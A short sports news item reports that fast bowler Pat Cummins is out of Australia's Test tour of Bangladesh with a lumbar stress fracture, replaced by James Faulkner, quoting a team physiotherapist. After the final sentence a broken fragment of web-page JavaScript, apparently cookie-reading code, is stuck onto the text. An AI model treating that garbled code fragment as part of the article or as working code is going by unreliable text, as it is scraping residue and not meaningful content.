Paceman Pat Cummins has been ruled out of Australia's tour of Bangladesh due to a stress fracture in his back.

Cummins will be replaced in the squad by allrounder James Faulkner.

"Pat Cummins experienced lower back pain during the last ODI match in the UK and this pain continued upon his return to Australia," Cricket Australia physiotherapist David Beakley said.

"He subsequently underwent an MRI scan yesterday which unfortunately has revealed a new early stage lumbar bone stress fracture.

"Consequently Pat will be unable to participate in the Bangladesh Test series and will now enter into a lengthy rehabilitation program."

Australia play a two-Test series against Bangladesh starting on October 9. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
